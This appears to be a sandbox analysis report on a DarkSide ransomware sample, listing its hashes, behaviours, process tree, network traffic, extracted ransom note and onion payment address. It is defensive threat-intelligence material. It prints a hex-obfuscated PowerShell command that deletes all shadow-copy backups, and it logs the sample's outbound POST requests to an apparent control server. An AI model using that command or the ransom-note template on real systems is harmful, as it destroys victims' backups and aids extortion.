Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-2004-x64

3

Ransomware...KB.exe

windows7-x64

7

Ransomware...KB.exe

windows10-2004-x64

3

Ransomware...KB.exe

windows10-ltsc_2021-x64

3

Ransomware...KB.exe

windows11-21h2-x64

3

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Resubmissions

25/03/2025, 15:11 UTC

250325-skmbpsxzaw 10

25/03/2025, 15:06 UTC

250325-sg1d6a1px2 10

25/03/2025, 15:01 UTC

250325-sd5jpsxyct 10

25/03/2025, 14:56 UTC

250325-sbdcfaxxgs 10

25/03/2025, 14:50 UTC

250325-r7ve6a1nv3 10

25/03/2025, 14:46 UTC

250325-r5ab7sxwhx 10

25/03/2025, 14:40 UTC

250325-r2c9paxwe1 10

05/02/2025, 10:25 UTC

250205-mgcefaslhw 10

05/02/2025, 10:17 UTC

250205-mbs51atmbk 10

05/02/2025, 09:15 UTC

250205-k785zs1pfn 10

Analysis

  • max time kernel
    118s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    25/03/2025, 14:50 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RansomwareSamples/DarkSide_01_05_2021_30KB.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

  • SSDEEP

    768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Score
10/10
darksidecredential_accessdiscoveryexecutionransomwarespywarestealerupx

Malware Config

Extracted

Path

C:\Users\Admin\README.83b4895b.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Darkside family
    darkside
  • Renames multiple (156) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
    C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe bcdedit /set shutdown /r /f /t 2
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:336
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2440

Network

  • flag-us
    DNS
    catsdegree.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    catsdegree.com
    IN A
    Response
    catsdegree.com
    IN CNAME
    77980.bodis.com
    77980.bodis.com
    IN A
    199.59.243.228
  • flag-us
    POST
    https://catsdegree.com/Sv3fxsTvVEM
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    199.59.243.228:443
    Request
    POST /Sv3fxsTvVEM HTTP/1.1
    Accept: */*
    Connection: keep-alive
    Accept-Encoding: gzip, deflate, br
    Content-Type: text/plain
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0
    Host: catsdegree.com
    Content-Length: 442
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Tue, 25 Mar 2025 14:52:00 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 1062
    X-Request-Id: 5e6396bd-bfd5-470e-814d-1c84778fd63a
    Cache-Control: no-store, max-age=0
    Accept-Ch: sec-ch-prefers-color-scheme
    Critical-Ch: sec-ch-prefers-color-scheme
    Vary: sec-ch-prefers-color-scheme
    X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jn7WqeqShx+9bBCf60dL/nytfDYTFUvKJZ27ToXwnlNJBHzssdXOMt0JjmGL/AwU6JwWiIyrn80PYgb4Gq+zDA==
    Set-Cookie: parking_session=5e6396bd-bfd5-470e-814d-1c84778fd63a; expires=Tue, 25 Mar 2025 15:07:00 GMT; path=/
    Connection: close
  • flag-us
    DNS
    r11.o.lencr.org
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    r11.o.lencr.org
    IN A
    Response
    r11.o.lencr.org
    IN CNAME
    o.lencr.edgesuite.net
    o.lencr.edgesuite.net
    IN CNAME
    a1887.dscq.akamai.net
    a1887.dscq.akamai.net
    IN A
    2.18.190.206
    a1887.dscq.akamai.net
    IN A
    2.18.190.198
  • flag-gb
    GET
    http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    2.18.190.206:80
    Request
    GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: r11.o.lencr.org
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: application/ocsp-response
    Content-Length: 504
    ETag: "92A3DCC68E93C115CA84D3AFDF3A361C51D00D61AEB709765DF6F8B4C210E94D"
    Last-Modified: Tue, 25 Mar 2025 14:14:00 UTC
    Cache-Control: public, no-transform, must-revalidate, max-age=21593
    Expires: Tue, 25 Mar 2025 20:51:53 GMT
    Date: Tue, 25 Mar 2025 14:52:00 GMT
    Connection: keep-alive
  • flag-us
    DNS
    temisleyes.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    temisleyes.com
    IN A
    Response
  • flag-us
    POST
    https://catsdegree.com/HNUbiunHtmYA
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    199.59.243.228:443
    Request
    POST /HNUbiunHtmYA HTTP/1.1
    Accept: */*
    Connection: keep-alive
    Accept-Encoding: gzip, deflate, br
    Content-Type: text/plain
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0
    Host: catsdegree.com
    Content-Length: 238
    Cache-Control: no-cache
    Cookie: parking_session=5e6396bd-bfd5-470e-814d-1c84778fd63a
    Response
    HTTP/1.1 200 OK
    Date: Tue, 25 Mar 2025 14:52:27 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 1066
    X-Request-Id: 1a4327c7-cb13-4626-aaae-141b8ac5fad5
    Cache-Control: no-store, max-age=0
    Accept-Ch: sec-ch-prefers-color-scheme
    Critical-Ch: sec-ch-prefers-color-scheme
    Vary: sec-ch-prefers-color-scheme
    X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_znyRQ3TkcP/cBXTOcy4oBLL9q4ac1JOMNg/e2WLo3glyPYpqX3G8bfr+3j0+kBpHM1j7KdwtewYW+n5fUONYiQ==
    Set-Cookie: parking_session=5e6396bd-bfd5-470e-814d-1c84778fd63a; expires=Tue, 25 Mar 2025 15:07:28 GMT
    Connection: close
  • flag-us
    DNS
    temisleyes.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    temisleyes.com
    IN A
    Response
  • flag-us
    DNS
    www.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    www.microsoft.com
    IN A
    Response
    www.microsoft.com
    IN CNAME
    www.microsoft.com-c-3.edgekey.net
    www.microsoft.com-c-3.edgekey.net
    IN CNAME
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    IN CNAME
    e13678.dscb.akamaiedge.net
    e13678.dscb.akamaiedge.net
    IN A
    23.192.18.101
  • flag-gb
    GET
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    Remote address:
    23.192.18.101:80
    Request
    GET /pkiops/crl/MicCodSigPCA2011_2011-07-08.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Sun, 18 Aug 2024 00:23:49 GMT
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: www.microsoft.com
    Response
    HTTP/1.1 200 OK
    Content-Length: 1078
    Content-Type: application/octet-stream
    Content-MD5: HqJzZuA065RHozzmOcAUiQ==
    Last-Modified: Tue, 14 Jan 2025 20:41:31 GMT
    ETag: 0x8DD34DBD43549F4
    x-ms-request-id: 90d94cda-601e-004e-55c9-667962000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Tue, 25 Mar 2025 14:52:31 GMT
    Connection: keep-alive
    TLS_version: UNKNOWN
    ms-cv: CASMicrosoftCV1b111006.0
    ms-cv-esi: CASMicrosoftCV1b111006.0
    X-RTag: RT
  • flag-us
    DNS
    crl.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    crl.microsoft.com
    IN A
    Response
    crl.microsoft.com
    IN CNAME
    crl.www.ms.akadns.net
    crl.www.ms.akadns.net
    IN CNAME
    a1363.dscg.akamai.net
    a1363.dscg.akamai.net
    IN A
    2.19.252.143
  • flag-gb
    GET
    http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
    Remote address:
    2.19.252.143:80
    Request
    GET /pki/crl/products/MicRooCerAut2011_2011_03_22.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Thu, 26 Sep 2024 02:21:11 GMT
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: crl.microsoft.com
    Response
    HTTP/1.1 200 OK
    Content-Length: 825
    Content-Type: application/octet-stream
    Content-MD5: O14L1mQEVqdJ2RVebBNXJw==
    Last-Modified: Wed, 26 Feb 2025 21:48:51 GMT
    ETag: 0x8DD56AF5BD2A499
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 47bdeae0-d01e-0029-409a-88699e000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Tue, 25 Mar 2025 14:52:31 GMT
    Connection: keep-alive
  • 199.59.243.228:443
    https://catsdegree.com/Sv3fxsTvVEM
    tls, http
    DarkSide_01_05_2021_30KB.exe
    1.6kB
     5.5kB
     12
    11

    HTTP Request

    POST https://catsdegree.com/Sv3fxsTvVEM

    HTTP Response

    200
  • 2.18.190.206:80
    http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D
    http
    DarkSide_01_05_2021_30KB.exe
    523 B
     2.0kB
     6
    4

    HTTP Request

    GET http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D

    HTTP Response

    200
  • 199.59.243.228:443
    https://catsdegree.com/HNUbiunHtmYA
    tls, http
    DarkSide_01_05_2021_30KB.exe
    1.5kB
     6.0kB
     11
    13

    HTTP Request

    POST https://catsdegree.com/HNUbiunHtmYA

    HTTP Response

    200
  • 23.192.18.101:80
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    http
    393 B
     1.7kB
     4
    4

    HTTP Request

    GET http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

    HTTP Response

    200
  • 2.19.252.143:80
    http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
    http
    451 B
     2.7kB
     5
    4

    HTTP Request

    GET http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

    HTTP Response

    200
  • 8.8.8.8:53
    catsdegree.com
    dns
    DarkSide_01_05_2021_30KB.exe
    60 B
     102 B
     1
    1

    DNS Request

    catsdegree.com

    DNS Response

    199.59.243.228

  • 8.8.8.8:53
    r11.o.lencr.org
    dns
    DarkSide_01_05_2021_30KB.exe
    61 B
     160 B
     1
    1

    DNS Request

    r11.o.lencr.org

    DNS Response

    2.18.190.206
    2.18.190.198

  • 8.8.8.8:53
    temisleyes.com
    dns
    DarkSide_01_05_2021_30KB.exe
    60 B
     133 B
     1
    1

    DNS Request

    temisleyes.com

  • 8.8.8.8:53
    temisleyes.com
    dns
    DarkSide_01_05_2021_30KB.exe
    60 B
     133 B
     1
    1

    DNS Request

    temisleyes.com

  • 8.8.8.8:53
    www.microsoft.com
    dns
    63 B
     230 B
     1
    1

    DNS Request

    www.microsoft.com

    DNS Response

    23.192.18.101

  • 8.8.8.8:53
    crl.microsoft.com
    dns
    63 B
     146 B
     1
    1

    DNS Request

    crl.microsoft.com

    DNS Response

    2.19.252.143

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    f9773b3d4f105079d71fa14d362eca7b

    SHA1

    161d2db78c298723b3501dbfbd4b73fa2f1ce439

    SHA256

    c590a0d5e690e2cbd98acba4777abbeb3e76e68cb82c71d39e243922cad8b8d5

    SHA512

    60e0956756f8ec0b7c28a06014805ff59aff2d25c527df35b7ccfcbb08ee5fedb40eb666e44f573c3cb65e3a78a10d99dd6bdef3c2d4bb88917a0006baa5542f

    Download Submit

  • C:\Users\Admin\README.83b4895b.TXT
    Filesize

    1KB

    MD5

    f418a249405444da33cc73b402a26306

    SHA1

    1a6c493e74036f93f0dae4b65e6c543c213ce418

    SHA256

    b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

    SHA512

    b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

    Download Submit

  • memory/336-29-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-34-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-25-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-26-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-27-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-28-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-22-0x000007FEF5EFE000-0x000007FEF5EFF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/336-23-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/336-32-0x000007FEF5EFE000-0x000007FEF5EFF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/336-33-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/336-24-0x0000000001D70000-0x0000000001D78000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2776-30-0x0000000000100000-0x0000000000117000-memory.dmp

    Filesize

    92KB

    Download

  • memory/2776-0-0x0000000000100000-0x0000000000117000-memory.dmp

    Filesize

    92KB

    Download

  • memory/2776-233-0x0000000000100000-0x0000000000117000-memory.dmp

    Filesize

    92KB

    Download

  • memory/2776-237-0x0000000000100000-0x0000000000117000-memory.dmp

    Filesize

    92KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.